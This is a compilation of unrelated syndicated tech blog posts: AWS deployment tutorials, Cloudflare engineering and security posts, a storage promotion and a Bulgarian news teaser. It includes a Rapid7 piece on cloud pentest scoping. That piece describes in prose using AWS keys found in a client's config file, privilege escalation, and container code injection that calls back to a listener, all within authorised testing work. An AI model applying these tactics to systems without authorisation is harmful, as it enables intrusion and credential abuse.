Drools rules engine Spring Boot application – runtime component of the rule execution. You set the Drools rule engine Spring Boot application as an Apache Maven Docker project with Drools Maven dependencies. You then deploy the Drools rule engine Docker image to an Amazon Elastic Container Registry (Amazon ECR), create an AWS Fargate cluster, and an Amazon Elastic Container Service (Amazon ECS) service. The service launches Amazon ECS tasks and maintains the desired count. An Application Load Balancer distributes the traffic evenly to all running containers.
Lambda – a serverless execution environment giving you an ability to interact with the Drools Engine and a persistence layer for rule execution audit functions. The Lambda component provides the audit function required to persist the incoming requests and outgoing responses in DynamoDB. Apart from the audit function, Lambda is also used to invoke the service exposed by the Drools Spring Boot application.
DynamoDB – a fully managed and highly scalable key/value store, to persist the rule execution information, such as request and response payload information. DynamoDB provides the persistence layer for the incoming request JSON payload and for the outgoing response JSON payload. The audit Lambda function invokes the DynamoDB put_item() method when it receives the request or response event from Step Functions. The DynamoDB table rule_execution_audit has an entry for every request and response associated with the incoming request-id originated by the application (upstream).

Drools rules engine implementation

The Drools rules engine separates the business rules from the business processes. You use DRL (Drools Rule Language) by defining business rules as .drl text files. You define model objects to build the rules.

The model objects are POJO (Plain Old Java Objects) defined using Eclipse, with the Drools plugin installed. You should have some level of knowledge about building rules and executing them using the Drools rules engine. The below diagram describes the functions of this component.

You define the following rules in the .drl file as part of the GitHub repo. The purpose of these rules is to evaluate the driver premium based on the input model objects provided as input. The inputs are Car and Driver objects and output is the Policy object, which has the premium calculated based on the certain criteria defined in the rule:

rule "High Risk"
     when     
         $car : Car(style == "SPORTS", color == "RED") 
         $policy : Policy() 
         and $driver : Driver ( age < 21 )                             
     then
         System.out.println(drools.getRule().getName() +": rule fired");          
         modify ($policy) { setPremium(increasePremiumRate($policy, 20)) };
 end
 
 rule "Med Risk"
     when     
         $car : Car(style == "SPORTS", color == "RED") 
         $policy : Policy() 
         and $driver : Driver ( age > 21 )                             
     then
         System.out.println(drools.getRule().getName() +": rule fired");          
         modify ($policy) { setPremium(increasePremiumRate($policy, 10)) };
 end
 
 
 function double increasePremiumRate(Policy pol, double percentage) {
     return (pol.getPremium() + pol.getPremium() * percentage / 100);
 }

Once the rules are defined, you define a RestController that takes input parameters and evaluates the above rules. The below code snippet is a POST method defined in the controller, which handles the requests and sends the response to the caller.

@PostMapping(value ="/policy/premium", consumes = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE }, produces = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE})
    public ResponseEntity<Policy> getPremium(@RequestBody InsuranceRequest requestObj) {
        
        System.out.println("handling request...");
        
        Car carObj = requestObj.getCar();        
        Car carObj1 = new Car(carObj.getMake(),carObj.getModel(),carObj.getYear(), carObj.getStyle(), carObj.getColor());
        System.out.println("###########CAR##########");
        System.out.println(carObj1.toString());
        
        System.out.println("###########POLICY##########");        
        Policy policyObj = requestObj.getPolicy();
        Policy policyObj1 = new Policy(policyObj.getId(), policyObj.getPremium());
        System.out.println(policyObj1.toString());
            
        System.out.println("###########DRIVER##########");    
        Driver driverObj = requestObj.getDriver();
        Driver driverObj1 = new Driver( driverObj.getAge(), driverObj.getName());
        System.out.println(driverObj1.toString());
        
        KieSession kieSession = kieContainer.newKieSession();
        kieSession.insert(carObj1);      
        kieSession.insert(policyObj1); 
        kieSession.insert(driverObj1);         
        kieSession.fireAllRules(); 
        printFactsMessage(kieSession);
        kieSession.dispose();
    
        
        return ResponseEntity.ok(policyObj1);
    }

Prerequisites

OpenJDK 17.
Python version 3.9.
Apache Maven version 3.8.4.
Docker version 20.10.12.
Postman to test your API.
Set up AWS CLI to allow you to deploy your resources.
Set up the AWS SAM CLI to deploy your resources.
Have the appropriate AWS credentials for interacting with resources in your AWS account.

Solution walkthrough

Clone the project GitHub repository to your local machine, do a Maven build, and create a Docker image. The project contains Drools related folders needed to build the Java application.
```
git clone https://github.com/aws-samples/aws-step-functions-business-rules-orchestration
cd drools-spring-boot
mvn clean install
mvn docker:build
```

Create an Amazon ECR private repository to host your Docker image.

aws ecr create-repository —repository-name drools_private_repo —image-tag-mutability MUTABLE —image-scanning-configuration scanOnPush=false

Tag the Docker image and push it to the Amazon ECR repository.

aws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin <<INSERT ACCOUNT NUMBER>>.dkr.ecr.us-east-1.amazonaws.com
docker tag drools-rule-app:latest <<INSERT ACCOUNT NUMBER>>.dkr.ecr.us-east-1.amazonaws.com/drools_private_repo:latest
docker push <<INSERT ACCOUNT NUMBER>>.dkr.ecr.us-east-1.amazonaws.com/drools_private_repo:latest

Deploy resources using AWS SAM:
```
cd ..
sam build
sam deploy --guided
```

Verifying the deployment

Verify the business rules execution and the orchestration components:

Navigate to the API Gateway console, and choose the rules-stack API.
Under Resources, choose POST, followed by TEST.

Enter the following JSON under the Request Body section, and choose Test.

{
  "context": {
    "request_id": "REQ-99999",
    "timestamp": "2021-03-17 03:31:51:40"
  },
  "request": {
    "driver": {
      "age": "18",
      "name": "Brian"
    },
    "car": {
      "make": "honda",
      "model": "civic",
      "year": "2015",
      "style": "SPORTS",
      "color": "RED"
    },
    "policy": {
      "id": "1231231",
      "premium": "300"
    }
  }
}

The response received shows results from the evaluation of the business rule “High Risk“, with the premium representing the percentage calculation in the rule definition. Try changing the request input to evaluate a “Medium Risk” rule by modifying the age of the driver to 22 or higher:
Optionally, you can verify the API using Postman. Get the endpoint information by navigating to the rule-stack API, followed by Stages in the navigation pane, then choosing either Dev or Stage.
Enter the payload in the request body and choose Send:
The response received is results from the evaluation of business rule “High Risk“, with the premium representing the percentage calculation in the rule definition. Try changing the request input to evaluate a “Medium Risk” rule by modifying the age of the driver to 22 or higher.
Observe the request and response audit logs. Navigate to the DynamoDB console. Under the navigation pane, choose Tables, then choose rule_execution_audit.
Under the Tables section in the navigation pane, choose Explore Items. Observe the individual audit logs by choosing the audit_id.

Cleaning up

To avoid incurring ongoing charges, clean up the infrastructure by deleting the stack using the following command:

sam delete

Delete the Amazon ECR repository, and any other resources you created as a prerequisite for this exercise.

Conclusion

In this post, you learned how to leverage an orchestration framework using Step Functions, Lambda, DynamoDB, and API Gateway to build an API backed by an open-source Drools rules engine, running on a container. Try this solution for your cloud native business rules orchestration use-case.

For more serverless learning resources, visit Serverless Land.

“Човекът” на дървената мафия – аут? Премиерът уволни зам.-министър след разкритията на Биволъ за дървената мафия

2022-03-29 Николай Марченко

Post Syndicated from Николай Марченко original https://bivol.bg/%D0%BF%D1%80%D0%B5%D0%BC%D0%B8%D0%B5%D1%80%D1%8A%D1%82-%D1%83%D0%B2%D0%BE%D0%BB%D0%BD%D0%B8-%D0%B7%D0%B0%D0%BC-%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%8A%D1%80-%D1%81%D0%BB%D0%B5%D0%B4-%D1%80%D0%B0.html

вторник 29 март 2022

Министър-председателят Кирил Петков е издал заповед за освобождаване на зам-министъра на земеделието, храните и горите от квотата на БСП Атанас Добрев. Това потвърдиха за „Биволъ“ шефката на пресцентъра на правителството…

Cloud Pentesting, Pt. 2: Testing Across Different Deployments

2022-03-29 Eric Mortaro

Post Syndicated from Eric Mortaro original https://blog.rapid7.com/2022/03/29/cloud-pentesting-pt-2-testing-across-different-deployments/

Cloud Pentesting, Pt. 2: Testing Across Different Deployments

In part one of this series, we broke down the various types of cloud deployments. So, pentesting in the cloud is just like on-prem, right? (Who asks these loaded questions!?)

The answer is yes and no. It depends on how a customer has set up their cloud deployment. Let’s cover a few basics first, because this will really clear things up.

Each cloud vendor has their own unique restrictions on what can and cannot be attacked, due to the nature of how the cloud is architected. Most have very similar restrictions — however, these rules must be followed, or one could quickly find themselves outside of scope. The next sections will outline which parts of the “as-a-service” components are out of scope for testing, and which are in scope.

Infrastructure as a service

This, in my experience, is how most clients have come to set up their cloud deployment. This as-a-service model could have simply been the quickest way to appease a C-level person, asking their Directors and Managers to go all-in with cloud. This is that direct lift from on-premise to the cloud that we discussed in the last post.

When it comes to testing this type of deployment, the scope is the largest it could be, with very few exceptions to what is out of scope. Getting dropped directly into a virtual private cloud (VPC) is likely the scenario that will work as an “assumed breach” approach. The client would then deploy a virtual machine, which will then be allowed specific access inbound from a tester’s IP address, along with gaining that access via an SSH keypair.

Some exceptions to this testing that are OUT of scope include:

Auto-scaling functions and network address translation (NAT) gateways
Exploiting the software that was used to deploy compute instances, or changing NAT

Some items that are IN scope for this deployment model include:

Attacking the operating system and attempting exploitation against outdated versions
Exploiting the software or applications installed on the operating system

Platform as a service

You’ve heard of bring your own device (BYOD) — think of this as BYOS, or bring your own software. Platform as a service (PaaS) brings us up a level in terms of support requirements. With this approach, clients can utilize a cloud provider’s products that allow a client to bring their own code for things like web applications. A client no longer has to work on keeping their operating system up to date. The code is typically deployed on something like a container, which could cost the client much less than that of having to deploy a virtual machine, licensing for an operating system, vulnerability management of the operating system, and staffing considerations. There are again exceptions, however, to what can and can’t be tested.

In this example, the following would be considered OUT of scope:

The host itself and/or containers hosting the application
Attempting to escape containers where the application is hosted

The items which are IN scope for this deployment model include:

Attempting to exploit the application that is installed on the operating system itself

Software as a service

At last, the greatest reduction in liability: software as a service (SaaS). Microsoft’s Office 365 is perhaps the most common example of a very widely used SaaS deployment. Click a few buttons in a cloud provider’s dashboard, input some user credentials, upload some data, and you’re done! Easy like Sunday morning!

Now, the only thing to worry about is the data within the application and the users themselves. Everything else — including virtual machine deployment, operating system installation and upkeep, patch management of the operation system and the software installed on it, and the code base, to name a few — is completely removed from worry. Imagine how much overhead you can now dedicate to other parts of the business. Windows Admins, web app developers, infosec staff, and even IT staff now have less to worry about. However, if you’re looking to have a pentest in this kind of environment, just know that there is not a whole lot that can actually be done.

Application exploits, for example, are OUT of scope. The items that are IN scope for this deployment model are the following:

Leveraging privileges and attempting to acquire data
Adding user accounts or elevating privileges

That’s it! The only thing that can be attacked is the users themselves, via password attacks, or the data that is held within the application — but that’s only if authentication is bypassed.

Those above examples are not made up from Rapid7’s perspective either. These are industry-wide standards that cloud providers have created. These types of deployments are specifically designed to help reduce liability and to increase not only the capabilities of an organization but also its speed. These are known as a “shared platform” model.

As-a-service example

Recently, we had a discussion with a client who needed a pentest performed on their web application. Their web app was deployed from a third-party cloud provider, which ended up using Google Cloud Platform on their back end. After a consultant discovered that this client had deployed their web application via the SaaS model, I explained that, due to the SaaS deployment, application exploitation was out of scope, and the only attempts that could be made would be password attacks and to go after the data.

Now, obviously, education needs to happen all around, but again, the cloud isn’t new. After about an hour of discussing how their deployment looked, the client then asked a very interesting question: “How can I get to the point where we make the application available to fully attempt exploitation against it?” I was befuddled, and quite simply, the answer was, “Why would you want to do that?” You see, by using SaaS, you remove liability from worrying about this sort of issue, which the organization may not have the capacity or budget to address. SaaS is click-and-go, and the software provider is now at risk of not providing a secured platform for content delivery.

After I had explained this to the client, they quickly understood that SaaS is the way to go, and transforming into a PaaS deployment model would have actually required that they now hire additional headcount, including a web app developer.

It is this maturity that needs to happen throughout the industry to continue to maintain security within not just small companies, but large enterprises, too.

Digging deeper

Externally

There’ve been numerous breaches of customer data, and there’s typically a common culprit: a misconfigured S3 bucket, or discovered credentials to a cloud vendor’s platform dashboard. These all seem like very easy things to remedy, but performing an external pentest where the targets are the assets hosted by a cloud vendor will certainly show if there are misconfigurations or accidental access being provided. This can be treated like any normal external pentest, but with the sole focus on knowing these assets live within a cloud environment.

Internally

There are multiple considerations when discussing what is “internal” to a cloud environment. Here, we’ll dig into the differences between platform and infrastructure.

Platform vs. infrastructure

In order to move or create assets within a cloud environment, one must first set up an account with the cloud vendor of choice. A username and password are created, then a user logs into the web application dashboard of the cloud vendor, and finally, assets are created and deployed to provide the functionality that is needed. The platform that the user is logged into is one aspect of an “internal” pentest against a cloud environment.

Platform pentest example

There I was, doing a thick client pentest against an executable. I installed the application on my Windows VM, started up a few more apps to hook into the running processes, and off to the races I went.

One of the more basic steps in the process is to check the installation files. Within the directory, I find an .INI file. I opened this file with a text editor, and I was greeted with an Amazon AWS Access Key ID and SecretAccessKey! Wow, did I get lucky. I fired up aws cli, punched in the access key ID and SecretAccessKey, along with the target IP address, and bam! I was in like Flynn.

Now, kudos go out to the client that didn’t provide this user with root access. However, I was still able to gain a ton of access with additional information. I stopped from there though, because this quickly turned into a cloud-style pentest. I called the client up right away and informed them of this information, and they were happy (not happy) that this was discovered.

Internal platform pentest

A platform pentest is like being given a domain account, in an assumed-breached scenario, on an internal pentest. It’s a “hey, if you can’t get creds, here’s a low-priv account to see what you can do with it” approach.

On a cloud platform pentest, we’re being given this account to attempt additional attacks, such as privilege escalation, launching of additional virtual machines, or using a function to inject code into containers that auto-deploy and dial back to a listening server each time. A virtual machine, preferably Kali Linux, will need to be deployed within the VPC, so you can perform your internal pentest from it.

Internal infrastructure pentest

This pentest is much easier to construct. It looks very similar to an internal, on-premise pentest. The client sets up a virtual machine inside of the VPC they want tested, then the consultant creates that public/private SSH keypair and provides the SSH public key to the client. The client allows specific source IPs to SSH into that VM, and the pentest begins.

In my experience, a lot of clients only have one VPC, so that makes life a bit easier. However, as more and more people gain experience and knowledge with how to set up their cloud environments, VPC separation is becoming more prevalent. As an example, perhaps a customer utilizes functions to auto-deploy new “sites” each time one of their customers signs on to use their services. This function automatically creates a brand-new VPC, with separation from other VPCs (which are their other clients), virtual machines, databases, network connectivity, access into the VPC for their clients administration, user accounts, authentication, SSO, and more. In this scenario, we’d ask the client to create multiple VPCs and drop us into at least one of them. This way, we can then perform a tenant-to-tenant-style pentest, to see if it’s possible to break out of one segment to access another.

In part three, we’ll take a look at how the maturity of the client’s cloud implementation can impact the way pentests are carried out. Stay tuned!

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Bring Your File System to the Cloud With Backblaze + CTERA

2022-03-29 Jennifer Newman

Post Syndicated from Jennifer Newman original https://www.backblaze.com/blog/bring-your-file-system-to-the-cloud-with-backblaze-ctera/

You know your file system. You love your file system (suspend your disbelief for a moment). You can find what you need (mostly). The hierarchy makes sense (kind of). Anyway—the point is, it’s convenient and it works.

You also know object storage offers scalability and cost savings that you’d love to tap into to either replace or extend your on-premises file servers or NAS. But how do you move your data to the cloud safely and securely without overhauling your entire file system to work with object storage?

Through a new partnership with CTERA, you can extend your corporate file system to Backblaze B2 Cloud Storage while maintaining all of your existing permissions, file structures, and security protocols.

The joint solution unlocks meaningful opportunities for small and medium-sized enterprises. Through the partnership, you can:

Store all of your unstructured data in one centralized place, while maintaining instant and reliable access.
Retire legacy file servers and NAS devices along with the time and expense required to maintain them.
Empower a remote workforce and multi-site collaboration.
Establish a resilient disaster recovery, business continuity, and ransomware mitigation plan.
Optimize your budget with pay-as-you-go cloud storage pricing that’s a quarter the price of equivalent offerings.

“If you’re tired of buying new equipment every three years; replacing hard drives; paying for maintenance, or power, or space in a data center; and all of the headaches of managing remote user access, then the CTERA and Backblaze partnership is perfect for you. The setup is incredibly easy and the immediate budget and staffing relief will give you resources to tackle new opportunities. You’ll never have to—or want to—upgrade your NAS again.”
—Nilay Patel, VP of Sales, Backblaze

How It Works

CTERA’s Enterprise File Services Platform, through their core global file system technology, extends the capabilities of traditional NAS and file servers to the cloud. The joint solution provides fast local file access via cached files in CTERA’s Edge Filers, while storing the primary copy of your data in hot storage with Backblaze B2 for just $5/TB per month with a 99.9% uptime SLA.

Users across your enterprise have access to shared files via their Windows, Mac, or mobile devices, and data generated at the edge is automatically backed up to Backblaze B2 and accessible across your organization. The flexibility and extensibility of the Backblaze B2 + CTERA partnership consolidates your remote IT infrastructure and reduces the burden on your IT team to manage remote devices.

For customers that have distributed sites across the U.S. and EU, regions can be defined within CTERA and Backblaze B2 to ensure data is GDPR compliant. CTERA also offers an SDK for developers, enabling them to automatically configure Edge Filers and synchronize to Backblaze B2 Cloud Storage using infrastructure as code.

“We’re seeing a massive shift from traditional NAS to cloud NAS, from edge to core access, as organizations evolve and expand. CTERA is committed to providing the widest choice of cloud to our customers. The Backblaze-CTERA partnership establishes a compelling, new, cost-effective storage option for companies that wish to tier their data to the cloud for redundancy and collaboration.”
—Oded Nagel, Chief Strategy Officer, CTERA

About CTERA

CTERA is the edge-to-cloud file services leader, powering more than 50,000 connected sites and millions of corporate users. CTERA offers the industry’s most feature-rich global file system, enabling enterprises to centralize file access from any edge location or device without compromising performance or security. The CTERA Enterprise File Services Platform makes it easy for organizations to consolidate legacy NAS, backup and disaster recovery systems, and collaboration platforms while reducing costs by up to 80% versus legacy solutions. CTERA is trusted by the world’s largest companies, including McDonald’s, GE, Unilever, and Live Nation, as well as the U.S. Department of Defense and other government organizations worldwide.

Interested in Learning More?

Join us for a webinar on April 27, 2022 at 8 a.m. PST/11 a.m. EST to discover how to tier your file structure intelligently into Backblaze B2 with CTERA—register here. Anyone interested in exploring the solution today can check out the CTERA Solution Brief.

The post Bring Your File System to the Cloud With Backblaze + CTERA appeared first on Backblaze Blog | Cloud Storage & Cloud Backup.

Optimizing Magic Firewall’s IP lists

2022-03-29 Jordan Griege

Post Syndicated from Jordan Griege original https://blog.cloudflare.com/magic-firewall-optimizing-ip-lists/

Optimizing Magic Firewall’s IP lists

Magic Firewall is Cloudflare’s replacement for network-level firewall hardware. It evaluates gigabits of traffic every second against user-defined rules that can include millions of IP addresses. Writing a firewall rule for each IP address is cumbersome and verbose, so we have been building out support for various IP lists in Magic Firewall—essentially named groups that make the rules easier to read and write. Some users want to reject packets based on our growing threat intelligence of bad actors, while others know the exact set of IPs they want to match, which Magic Firewall supports via the same API as Cloudflare’s WAF.

With all those IPs, the system was using more of our memory budget than we’d like. To understand why, we need to first peek behind the curtain of our magic.

Life inside a network namespace

Magic Transit and Magic WAN enable Cloudflare to route layer 3 traffic, and they are the front door for Magic Firewall. We have previously written about how Magic Transit uses network namespaces to route packets and isolate customer configuration. Magic Firewall operates inside these namespaces, using nftables as the primary implementation of packet filtering.

When a user makes an API request to configure their firewall, a daemon running on every server detects the change and makes the corresponding changes to nftables. Because nftables configuration is stored within the namespace, each user’s firewall rules are isolated from the next. Every Cloudflare server routes traffic for all of our customers, so it’s important that the firewall only applies a customer’s rules to their own traffic.

Using our existing technologies, we built IP lists using nftables sets. In practice, this means that the wirefilter expression

ip.geoip.country == “US”

is implemented as

table ip mfw {
	set geoip.US {
		typeof ip saddr
		elements = { 192.0.2.0, … }
	}
	chain input {
		ip saddr @geoip.US block
	}
}

This design for the feature made it very easy to extend our wirefilter syntax so that users could write rules using all the different IP lists we support.

Scaling to many customers

We chose this design since sets fit easily into our existing use of nftables. We shipped quickly with just a few, relatively small lists to a handful of customers. This approach worked well at first, but we eventually started to observe a dramatic increase in our system’s memory use. It’s common practice for our team to enable a new feature for just a few customers at first. Here’s what we observed as those customers started using IP lists:

It turns out you can’t store millions of IPs in the kernel without someone noticing, but the real problem is that we pay that cost for each customer that uses them. Each network namespace gets a complete copy of all the lists that its rules reference. Just to make it perfectly clear, if 10 users have a rule that uses the anonymizer list, then a server has 10 copies of that list stored in the kernel. Yikes!

And it isn’t just the storage of these IPs that caused alarm; the sheer size of the nftables configuration causes nft (the command-line program for configuring nftables) to use quite a bit of compute power.

Can you guess when the nftables updates take place? Now the CPU usage wasn’t particularly problematic, as the service is already quite lean. However, those spikes also create competition with other services that heavily use netlink sockets. At one point, a monitoring alert for another service started firing for high CPU, and a fellow development team went through the incident process only to realize our system was the primary contributor to the problem. They made use of the -terse flag to prevent nft from wasting precious time rendering huge lists of IPs, but degrading another team’s service was a harsh way to learn that lesson.

We put quite a bit of effort into working around this problem. We tried doing incremental updates of the sets, only adding or deleting the elements that had changed since the last update. It was helpful sometimes, but the complexity ended up not being worth the small savings. Through a lot of profiling, we found that splitting an update across multiple statements improved the situation some. This means we changed

add element ip mfw set0 { 192.0.2.0, 192.0.2.2, …, 198.51.100.0, 198.51.100.2, … }

add element ip mfw set0 { 192.0.2.0, … }
add element ip mfw set0 { 198.51.100.0, … }

just to squeeze out a second or two of reduced time that nft took to process our configuration. We were spending a fair amount of development cycles looking for optimizations, and we needed to find a way to turn the tides.

One more step with eBPF

As we mentioned on our blog recently, Magic Firewall leverages eBPF for some advanced packet-matching. And it may not be a big surprise that eBPF can match an IP in a list, but it wasn’t a tool we thought to reach for a year ago. What makes eBPF relevant to this problem is that eBPF maps exist regardless of a network namespace. That’s right; eBPF gives us a way to share this data across all the network namespaces we create for our customers.

Since several of our IP lists contain ranges, we can’t use a simple BPF_MAP_TYPE_HASH or BPF_MAP_TYPE_ARRAY to perform a lookup. Fortunately, Linux already has a data structure that we can use to accommodate ranges: the BPF_MAP_TYPE_LPM_TRIE.

Given an IP address, the trie’s implementation of bpf_map_lookup_elem() will return a non-null result if the IP falls within any of the ranges already inserted into the map. And using the map is about as simple as it gets for eBPF programs. Here’s an example:

typedef struct {
	__u32 prefix_len;
	__u8 ip[4];
} trie_key_t;

SEC("maps")
struct bpf_map_def ip_list = {
    .type = BPF_MAP_TYPE_LPM_TRIE,
    .key_size = sizeof(trie_key_t),
    .value_size = 1,
    .max_entries = 1,
    .map_flags = BPF_F_NO_PREALLOC,
};

SEC("socket/saddr_in_list")
int saddr_in_list(struct __sk_buff *skb) {
	struct iphdr iph;
	trie_key_t trie_key;

	bpf_skb_load_bytes(skb, 0, &iph, sizeof(iph));

	trie_key.prefix_len = 32;
	trie_key.ip[0] = iph.saddr & 0xff;
	trie_key.ip[1] = (iph.saddr >> 8) & 0xff;
	trie_key.ip[2] = (iph.saddr >> 16) & 0xff;
	trie_key.ip[3] = (iph.saddr >> 24) & 0xff;

	void *val = bpf_map_lookup_elem(&ip_list, &trie_key);
	return val == NULL ? BPF_OK : BPF_DROP;
}

nftables befriends eBPF

One of the limitations of our prior work incorporating eBPF into the firewall involves how the program is loaded into the nftables ruleset. Because the nft command-line program does not support calling a BPF program from a rule, we formatted the Netlink messages ourselves. While this allowed us to insert a rule that executes an eBPF program, it came at the cost of losing out on atomic rule replacements.

So any native nftables rules could be applied in one transaction, but any eBPF-based rules would have to be inserted afterwards. This introduces some headaches for handling failures—if inserting an eBPF rule fails, should we simply retry, or perhaps roll back the nftables ruleset as well? And what if those follow-up operations fail?

In other words, we went from a relatively simple operation—the new firewall configuration either fully applied or didn’t—to a much more complex one. We didn’t want to keep using more and more eBPF without solving this problem. After hacking on the nftables repo for a few days, we came out with a patch that adds a BPF keyword to the nftables configuration syntax.

I won’t cover all the changes, which we hope to upstream soon, but there were two key parts. The first is implementing struct expr_ops and some methods required, which is how nft’s parser knows what to do with each keyword in its configuration language (like the “bpf” keyword we introduced). The second is just a different approach for what we solved previously. Instead of directly formatting struct xt_bpf_info_v1 into a byte array as iptables does, nftables uses the nftnl library to create the netlink messages.

Once we had our footing working in a foreign codebase, that code turned out fairly simple.

static void netlink_gen_bpf(struct netlink_linearize_ctx *ctx,
                            const struct expr *expr,
                            enum nft_registers dreg)
{
       struct nftnl_expr *nle;

       nle = alloc_nft_expr("match");
       nftnl_expr_set_str(nle, NFTNL_EXPR_MT_NAME, "bpf");
       nftnl_expr_set_u8(nle, NFTNL_EXPR_MT_REV, 1);
       nftnl_expr_set(nle, NFTNL_EXPR_MT_INFO, expr->bpf.info, sizeof(struct xt_bpf_info_v1));
       nft_rule_add_expr(ctx, nle, &expr->location);
}

With the patch finally built, it became possible for us to write configuration like this where we can provide a path to any pinned eBPF program.

# nft -f - <<EOF
table ip mfw {
  chain input {
    bpf pinned "/sys/fs/bpf/filter" drop
  }
}
EOF

And now we can mix native nftables matches with eBPF programs without giving up the atomic nature of nft commands. This unlocks the opportunity for us to build even more advanced packet inspection and protocol detection in eBPF.

Results

This plot shows kernel memory during the time of the deployment – the change was rolled out to each namespace over a few hours.

Though at this point, we’ve merely moved memory out of this slab. Fortunately, the eBPF map memory now appears in the cgroup for our Golang process, so it’s relatively easy to report. Here’s the point at which we first started populating the maps:

This change was pushed a couple of weeks before the maps were actually used in the firewall (i.e. the graph just above). And it has remained constant ever since—unlike our original design, the number of customers is no longer a predominant factor in this feature’s resource usage. The new model makes us more confident about how the service will behave as our product continues to grow.

Other than being better positioned to use eBPF more in the future, we made a significant improvement on the efficiency of the product today. In any project that grows rapidly for a while, an engineer can often see a few pesky pitfalls looming on the horizon. It is very satisfying to dive deep into these technologies and come out with a creative, novel solution before experiencing too much pain. We love solving hard problems and improving our systems to handle rapid growth in addition to pushing lots of new features.

Does that sound like an environment you want to work in? Consider applying!

Nikon Telephoto Lens Shootout

2022-03-29 Matt Granger

Post Syndicated from Matt Granger original https://www.youtube.com/watch?v=J4zAVNo-nQI

CVE-2022-1096: How Cloudflare Zero Trust provides protection from zero day browser vulnerabilities

2022-03-29 Tim Obezuk

Post Syndicated from Tim Obezuk original https://blog.cloudflare.com/cve-2022-1096-zero-trust-protection-from-zero-day-browser-vulnerabilities/

CVE-2022-1096: How Cloudflare Zero Trust provides protection from zero day browser vulnerabilities

On Friday, March 25, 2022, Google published an emergency security update for all Chromium-based web browsers to patch a high severity vulnerability (CVE-2022-1096). At the time of writing, the specifics of the vulnerability are restricted until the majority of users have patched their local browsers.

It is important everyone takes a moment to update their local web browser. It’s one quick and easy action everyone can contribute to the cybersecurity posture of their team.

Even if everyone updated their browser straight away, this remains a reactive measure to a threat that existed before the update was available. Let’s explore how Cloudflare takes a proactive approach by mitigating the impact of zero day browser threats with our zero trust and remote browser isolation services. Cloudflare’s remote browser isolation service is built from the ground up to protect against zero day threats, and all remote browsers on our global network have already been patched.

How Cloudflare Zero Trust protects against browser zero day threats

Cloudflare Zero Trust applies a layered defense strategy to protect users from zero day threats while browsing the Internet:

Cloudflare’s roaming client steers Internet traffic over an encrypted tunnel to a nearby Cloudflare data center for inspection and filtration.
Cloudflare’s secure web gateway inspects and filters traffic based on our network intelligence, antivirus scanning and threat feeds. Requests to known malicious services are blocked and high risk or unknown traffic is automatically served by a remote browser.
Cloudflare’s browser isolation service executes all website code in a remote browser to protect unpatched devices from threats inside the unknown website.

Protection from the unknown

Zero day threats are often exploited and exist undetected in the real world and actively target users through risky links in emails or other external communication points such as customer support tickets. This risk cannot be eliminated, but it can be reduced by using remote browser isolation to minimize the attack surface. Cloudflare’s browser isolation service is built from the ground up to protect against zero day threats:

Prevent compromised web pages from affecting the endpoint device by executing all web code in a remote browser that is physically isolated from the endpoint device. The endpoint device only receives a thin HTML5 remoting shell from our network and vector draw commands from the remote browser.
Mitigate the impact of compromise by automatically destroying and reconstructing remote browsers back to a known clean state at the end of their browser session.
Protect adjacent remote browsers by encrypting all remote browser egress traffic, segmenting remote browsers with virtualization technologies and distributing browsers across physical hardware in our global network.
Aiding Security Incident Response (SIRT) teams by logging all remote egress traffic in the integrated secure web gateway logs.

Patching remote browsers around the world

Even with all these security controls in place, patching browsers remains critical to eliminate the risk of compromise. The process of patching local and remote browsers tells two different stories that can be the difference between compromise, and avoiding a zero day vulnerability.

Patching your workforces local browsers requires politely asking users to interrupt their work to update their browser, or apply mobile device management techniques to disrupt their work by forcing an update. Neither of these options create happy users, or deliver rapid mitigation.

Patching remote browsers is a fundamentally different process. Since the remote browser itself is running on our network, Users and Administrators do not need to intervene as security patches are automatically deployed to remote browsers on Cloudflare’s network. Then without a user restarting their local browser, any traffic to an isolated website is automatically served from a patched remote browser.

Finally, browser based vulnerabilities such as CVE-2022-1096 are not uncommon. With over 300 in 2021 and over 40 already in 2022 (according to cvedetails.com) it is critical for administrators to have a plan to rapidly mitigate and patch browsers in their organization.

Get started with Cloudflare Browser Isolation

Cloudflare Browser Isolation is available to both self serve and enterprise customers. Whether you’re a small startup or a massive enterprise, our network is ready to serve fast and secure remote browsing for your team, no matter where they are based.

To get started, visit our website and, if you’re interested in evaluating Browser Isolation, ask our team for a demo with our Clientless Web Isolation.

Integrating with GitHub Actions – CI/CD pipeline to deploy a Web App to Amazon EC2

2022-03-29 Mahesh Biradar

Post Syndicated from Mahesh Biradar original https://aws.amazon.com/blogs/devops/integrating-with-github-actions-ci-cd-pipeline-to-deploy-a-web-app-to-amazon-ec2/

Many Organizations adopt DevOps Practices to innovate faster by automating and streamlining the software development and infrastructure management processes. Beyond cultural adoption, DevOps also suggests following certain best practices and Continuous Integration and Continuous Delivery (CI/CD) is among the important ones to start with. CI/CD practice reduces the time it takes to release new software updates by automating deployment activities. Many tools are available to implement this practice. Although AWS has a set of native tools to help achieve your CI/CD goals, it also offers flexibility and extensibility for integrating with numerous third party tools.

In this post, you will use GitHub Actions to create a CI/CD workflow and AWS CodeDeploy to deploy a sample Java SpringBoot application to Amazon Elastic Compute Cloud (Amazon EC2) instances in an Autoscaling group.

GitHub Actions is a feature on GitHub’s popular development platform that helps you automate your software development workflows in the same place that you store code and collaborate on pull requests and issues. You can write individual tasks called actions, and then combine them to create a custom workflow. Workflows are custom automated processes that you can set up in your repository to build, test, package, release, or deploy any code project on GitHub.

AWS CodeDeploy is a deployment service that automates application deployments to Amazon EC2 instances, on-premises instances, serverless AWS Lambda functions, or Amazon Elastic Container Service (Amazon ECS) services.

Solution Overview

The solution utilizes the following services:

GitHub Actions – Workflow Orchestration tool that will host the Pipeline.
AWS CodeDeploy – AWS service to manage deployment on Amazon EC2 Autoscaling Group.
AWS Auto Scaling – AWS Service to help maintain application availability and elasticity by automatically adding or removing Amazon EC2 instances.
Amazon EC2 – Destination Compute server for the application deployment.
AWS CloudFormation – AWS infrastructure as code (IaC) service used to spin up the initial infrastructure on AWS side.
IAM OIDC identity provider – Federated authentication service to establish trust between GitHub and AWS to allow GitHub Actions to deploy on AWS without maintaining AWS Secrets and credentials.
Amazon Simple Storage Service (Amazon S3) – Amazon S3 to store the deployment artifacts.

The following diagram illustrates the architecture for the solution:

Architecture Diagram

Developer commits code changes from their local repo to the GitHub repository. In this post, the GitHub action is triggered manually, but this can be automated.
GitHub action triggers the build stage.
